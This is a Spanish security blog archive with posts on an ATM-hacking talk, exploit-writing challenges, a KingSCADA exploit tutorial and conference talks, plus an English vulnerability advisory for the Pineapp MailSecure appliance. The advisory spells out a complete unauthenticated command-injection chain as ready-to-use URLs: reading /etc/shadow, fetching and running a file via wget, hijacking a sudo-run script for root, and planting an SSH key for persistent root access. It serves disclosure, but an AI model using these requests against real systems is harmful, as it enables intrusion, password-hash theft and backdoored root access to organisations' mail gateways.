miércoles, 8 de marzo de 2017

RootedCON 2017: TLOTA - The Lord Of The ATMs

Este fin de semana pasado (2,3 y 4 de Marzo) tuvo lugar una nueva edición de la RootedCON 2017 y este año fuimos a dar una charla mi compañero del CyberSOC de Deloitte - Rubén Rodenas y yo sobre Cajeros Automáticos (ATM).


Nuestra intención fue un poco contar nuestra historia. Como los clientes nos solicitan auditorias sobre los ATMs, de que forma se afrontan normalmente y que enfoque hemos querido darles en el grupo de Hacking Ético de Deloitte en el CyberSOC. Sobre como es posible comenzar a investigar estos dispositivos, incluida la compra de un par de cajeros automáticos. La descripción la podéis encontrar aquí.

Aunque fuimos a contar la charla mi compañero y yo, hay que aclarar que no habría sido posible sin la colaboración de otros compañeros del grupo de Hacking Ético y que tratamos de reflejar en las diapositivas:


Agradecer a todos el interés por la charla, hasta el punto de completar el aforo de la sala y tener que cerrar el acceso ;D



Desde aquí muchas gracias a todos por vuestros comentarios y apoyo, nos vemos pronto!!

jueves, 15 de enero de 2015

{CrackSLatinoS} Realización de Exploits colaborativos.

Hace un par de meses comencé con una iniciativa de publicación de exploitmes de diferentes niveles en la lista de CrackSLatinoS. Esta iniciativa viene siendo una extensión de lo que venía haciendo Ricardo Narvaja con los concursos, dónde entre los crackmes, proponía algún exploitme, o realización de exploit a partir de un advisory.

Sin embargo nunca llovía a gusto de todos, algunos eran demasiado sencillos, otros demasiado complicados, otras echaban en falta los exploitme en los concursos tras haberse publicado varios sin resolver... Así que tras una encuesta que hice en la lista para ver la aceptación sobre el tema, decidí llevar a cabo esta iniciativa.

Por cada reto propuesto, se fomenta que la gente vaya enviando sus dudas, comentarios, soluciones concretas sobre cada uno de los problemas que se encuentre en el proceso, hasta llegar a una solución completa en la que si quiere publica un tute, o simplemente ahí quedan las respuestas que luego recopilo y publico en la web en forma de PDF. De tal forma que todo el mundo pueda participar del proceso de elaboración y el que no tiene tiempo para hacer un tute, pueda responder a la gente o resolver cuestiones concretas con el poco tiempo que pueda emplear.

Tanto los enunciados como las soluciones las voy publicando en el WEB STORAGE de Ricardo Narvaja:

Os animo a todos a registraros en la lista y participar de los hilos generados con vuestros comentarios. Hay retos para todos los niveles:
- Nivel Básico: Exploitmes a medida con cuestiones concretas para guiar el aprendizaje de los nuevos en el tema y con los que aprender aspectos básicos.
- Nivel Medio: Realización de exploit de un software concreto. Cada uno tendrá sus peculiaridades, y peticiones concretas.
- Nivel Avanzado: Aquí se pretende intercambiar, descubrir, definir métodos o formas de llevar a cabo temas complejos de exploiting: Fuzzing, Bug Hunting, Vulnerability Analysis. Uso de herramientas/técnicas avanzadas como ejecución simbólica, análisis estático en código fuente o binario, uso de scripts y/o plugins para la detección de fallos....

Como se puede ver la idea es que todo el mundo pueda participar para desarrollar y aprender los aspectos que mas le interesen.

Aquí os dejo los enlaces a los hilos:
Nivel Básico

Nivel Medio
[EXPLOIT] Nivel Medio - #2 CVE-2010-3275 - VLC

Nivel Avanzado

ANIMO ESPERO VUESTROS COMENTARIOS Y PARTICIPACIÓN!!!!

miércoles, 29 de octubre de 2014

ZDI-14-071 - KingSCADA Stack Overflow - Tutorial sobre la realización del exploit.

Por fin tras más de 5 años, me animo a participar de nuevo en otro concurso de Exploiting de CrackSLatinoS. De esta forma también pongo mi granito de arena para que se sigan proponiendo y resolviendo estos retos tan interesantes y útiles.

Enunciado del reto:
Uno de los motivos que me ha impulsado a resolverlo precisamente es el atractivo de su enunciado:

http://www.zerodayinitiative.com/advisories/ZDI-14-071/

Simple, ¿verdad? También muy real.

Del advisory inicial se extrae la siguiente información:
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of WellinTech KingScada. Authentication is not required to exploit this vulnerability. The specific flaw exists within the protocol parsing code contained in kxNetDispose.dll. The parent service is called AEserver.exe and listens on port 12401. The process performs arithmetic on an user-supplied value used to determine the size of a copy operation allowing a potential integer wrap to cause a stack buffer overflow. An unauthenticated attacker can leverage this vulnerability to execute code under the context of the SYSTEM user.

Y del CVE asignado, indicado en el mismo advisory, se indican los detalles de las versiones afectadas y no afectadas:

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0787

Stack-based buffer overflow in WellinTech KingSCADA before 3.1.2.13 allows remote attackers to execute arbitrary code via a crafted packet.

Tutorial:
El tutorial muestra todo el proceso desde la búsqueda de las versiones disponibles, el binary diffing de las mismas para analizar el parche y modificaciones realizadas en la versión vulnerable y la versión solucionada, análisis en dinámico para llevar el flujo a los bloques básicos objetivos, análisis del crash y finalmente la elaboración del exploit utilizando mona.py.

Podéis descargar el tutorial desde mi repositorio a la derecha del blog o directamente pinchando aquí

Espero que os guste y os animéis a practicar con este software.

martes, 19 de noviembre de 2013

[Advisory] Pineapp MailSecure total pwnage

In February 2013 I send Pineapp the following information:
-----------------------------------------------------------------
It is possible execute any command bash as qmailq unprivilege user, sending only the following https request, without authentication.
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;%20cat%20/etc/shadow

To upload any file (script, binary, etc...) it is possible with wget command.
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile

Download and execute it is possible with this request:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile;chmod%20+x%20somefile;/tmp/somefile

Details of bug:
Lines 115-120 of /srv/www/htdocs/admin/confnetworking.html
----------------snip-----------------
$query=explode("\n",shell_exec("/usr/bin/host -t '$nstype' '$hostip' $nsserver"));
foreach ($query as $line)
    if ($line)
    echo preg_replace("/\t/","   ",$line)."
\n";
?>
----------------snip-----------------

Also it is possible make privilege escalation to root with a weak sudoers configuration, on /tmp/rc.firewall file. If you overwrite this file with this content:
---------
#!/bin/bash
$1
---------
you must get a privileged backdoor.
It is possible with the following request:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo '%23!/bin/bash' > /tmp/fileheader
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo '$1' > /tmp/filecode
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;mv /tmp/rc.firewall /tmp/rc.firewall_
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;cat /tmp/fileheader /tmp/filecode > /tmp/rc.firewall
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;chmod %2bx /tmp/rc.firewall
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;rm /tmp/fileheader
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;rm /tmp/filecode

And execute commands as root with:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;chmod %2bx /tmp/rc.firewall 'whoami'

With this, you can sent a private ssh key and get access by ssh service. To perform this you can make the following request:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo '%73%73%68%2d%72%73%61%20%41%41%41%41%42%33%4e%7a%61%43%31%79%63%32%45%41%41%41%41%42%49%77%41%41%41%51%45%41%79%54%6f%4c%32%75%6b%51%36%4c%76%44%6a%78%51%65%4e%55%72%54%59%35%2b%51%66%57%37%47%51%52%4c%51%68%44%4f%69%77%7a%46%48%42%4a%66%33%59%66%49%44%50%6f%74%45%48%41%4d%43%7a%75%45%48%56%72%34%49%2f%41%77%52%73%78%76%4a%44%2b%4e%55%2b%2b%53%65%72%34%76%7a%35%4d%68%53%6c%50%37%64%47%53%78%47%58%39%31%37%7a%4b%53%53%4b%33%79%55%78%33%42%75%46%44%38%49%52%53%46%51%47%35%64%33%75%50%72%46%63%2f%4d%2b%33%61%37%30%4f%7a%45%44%2f%59%71%79%75%53%63%35%64%79%4c%64%67%59%32%61%47%77%6f%48%77%6a%4e%6f%5a%6b%79%65%44%77%72%67%63%2b%50%65%57%66%78%57%37%63%44%39%72%2f%4f%56%6d%38%59%49%61%70%7a%75%34%37%77%65%71%53%70%38%70%37%2b%43%58%4f%45%41%4c%64%2b%50%4e%54%79%4b%30%43%34%7a%51%58%37%72%35%6d%37%79%48%45%34%50%74%31%6f%75%41%43%45%6c%46%56%38%4a%4f%4f%45%38%4c%49%76%38%55%4a%67%57%30%43%64%41%55%4f%48%6a%49%75%2b%5a%6f%6d%35%54%71%50%73%72%6e%70%64%44%4e%59%6e%2b%76%33%6d%33%57%76%4f%50%71%36%66%69%38%61%72%79%53%33%61%4e%6e%7a%53%74%51%4e%5a%61%33%35%50%64%75%42%4a%49%39%33%4e%41%79%4f%48%54%59%54%31%75%56%6a%6c%79%55%51%3d%3d%20%72%75%62%65%6e%40%72%75%62%65%6e%2d%6c%61%70%74%6f%70' > /tmp/key.pub
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo /tmp/rc.firewall 'mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo /tmp/rc.firewall 'cp /root/.ssh/authorized_keys /tmp'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;cat /tmp/authorized_keys /tmp/key.pub > /tmp/keys.pub
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo /tmp/rc.firewall 'mv /tmp/keys.pub /root/.ssh/authorized_keys'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo /tmp/rc.firewall 'chown root:root /root/.ssh/authorized_keys'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo%20/tmp/rc.firewall 'killall sshd'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo%20/tmp/rc.firewall 'sshd'

This key have password: '1234'

Now you can get access with ssh as root and up tun interface with the appliance with ssh client:
ssh root@192.168.24.24 -p 7022 -w0:0 -i /home/ruben/key

With this the attacker have a VPN on the same network segment of MailSecure appliance vulnerable.
-----------------------------------------------------------------

This I made a live demo of vulnerability, but don't revealed the manufacturer, then the bugs was not fixed.
http://boken00.blogspot.com.es/2012/11/ii-conferencias-de-seguridad-navaja.html
Video demo will be release soon on my blog.

Version affected:
MailSecure <= 5099SK

Credits:
-----------
Ruben Garrote García
rubengarrote [at] gmail [dot] com
http://boken00.blogspot.com
@Boken_

miércoles, 7 de noviembre de 2012

II CONFERENCIAS DE SEGURIDAD NAVAJA NEGRA – 30 de Noviembre / 1 de Diciembre


Tengo el placer de comunicaros que, junto con Alejandro Nolla (@z0mbiehunt3r), inauguraremos la conferencia con la primera charla:
All your appliances are belong to us. Presentación de un 0-day
Análisis de appliances de red. Confías en ellos, pero, ¿deberías? Ejemplo práctico, de cursito de formación a 0-day en lo que dura el coffee break

Os dejo la presentación oficial de la conferencia que también podéis consultar aqui:
http://navajanegra.com/

----------------------------------------------------------------
Los días 30 de noviembre y 1 de diciembre, tendrán lugar las II CONFERENCIAS DE SEGURIDAD “NAVAJA NEGRA” en Albacete con una serie de charlas centradas en la Seguridad de la Información como:
  • All your appliances are belong to us. Presentación de un 0-day
  • Show me your Intents
  • HASH COLLISIONS: Welcome to the (un)real World!
  • Take a walk on the wild side
  • A brief introduction to reversing code with OllyDbg and other tools
  • From mail to jail: Exploit your ex.girlfriend
  • (in)Security in Mobile Communications
  • IPv6 vs IDS, se aceptan apuestas…
Se realizarán en el SALON DE ACTOS DEL CEEI (Centro Europero de Empresas de Innovación) el viernes en horario de tarde y el sábado en horario de mañana e impartidas por reconocidos profesionales.
Son completamente gratuitas pero es necesario registrarse (aforo limitado).
La información sobre las charlas, está disponible en el apartado Itinerario del Congreso. Si os desplazais desde fuera de Albacete, tenemos descuentos de Renfe y del Hotel Beatriz para alojaros. También teneis el Cartel Oficial para descargar.
Calendario de conferencias:

jueves, 5 de julio de 2012

Introducción al análisis estático de código fuente en BlackBerry

Hoy he publicado un artículo sobre el análisis estático de código en BlackBerry.

Realmente es una introducción sobre esta plataforma. Cuál es su arquitectura y por dónde comenzar a mirar el código.

He puesto algunos pequeños ejemplos para que podáis haceros una idea general, pero la cuestión es concienciarse sobre la importancía de escribir código seguro.

BlackBerry tiene mucha documentación sobre sus APIs y un buen SDK totalmente documentado, que aunque vienen ejemplos sobre la manera correcta de escribir código, no hacen referencia explicita sobre cómo evitar determinados fallos de seguridad.

El artículo lo podéis consultar en el blog de Buguroo o en este enlace.

Espero que os guste!! ;D

martes, 3 de abril de 2012

Análisis de vulnerabilidad y exploit para CVE-2011-4130 en ProFTPd < 1.3.3g/1.3.4 – (Parte I)

Bueno hace ya mas de 3 años y medio que no escribo nada e iba siendo hora de romper con esta costumbre tan fea que había cogido. Así que aquí os dejo un articulo que he escrito sobre el análisis de la vulnerabilidad y el exploit para CVE-2011-4130 en ProFTPd < 1.3.3g/1.3.4.

La cuestión es que es un fallo interesante y en su momento no había ningún exploit público (creo que sigue sin haberlo), así que me decidí a estudiar el fallo y hacer el exploit para Metasploit ;D pero eso será en las siguientes partes, por ahora ir analizando la información proporcionada, que vienen curvas ;D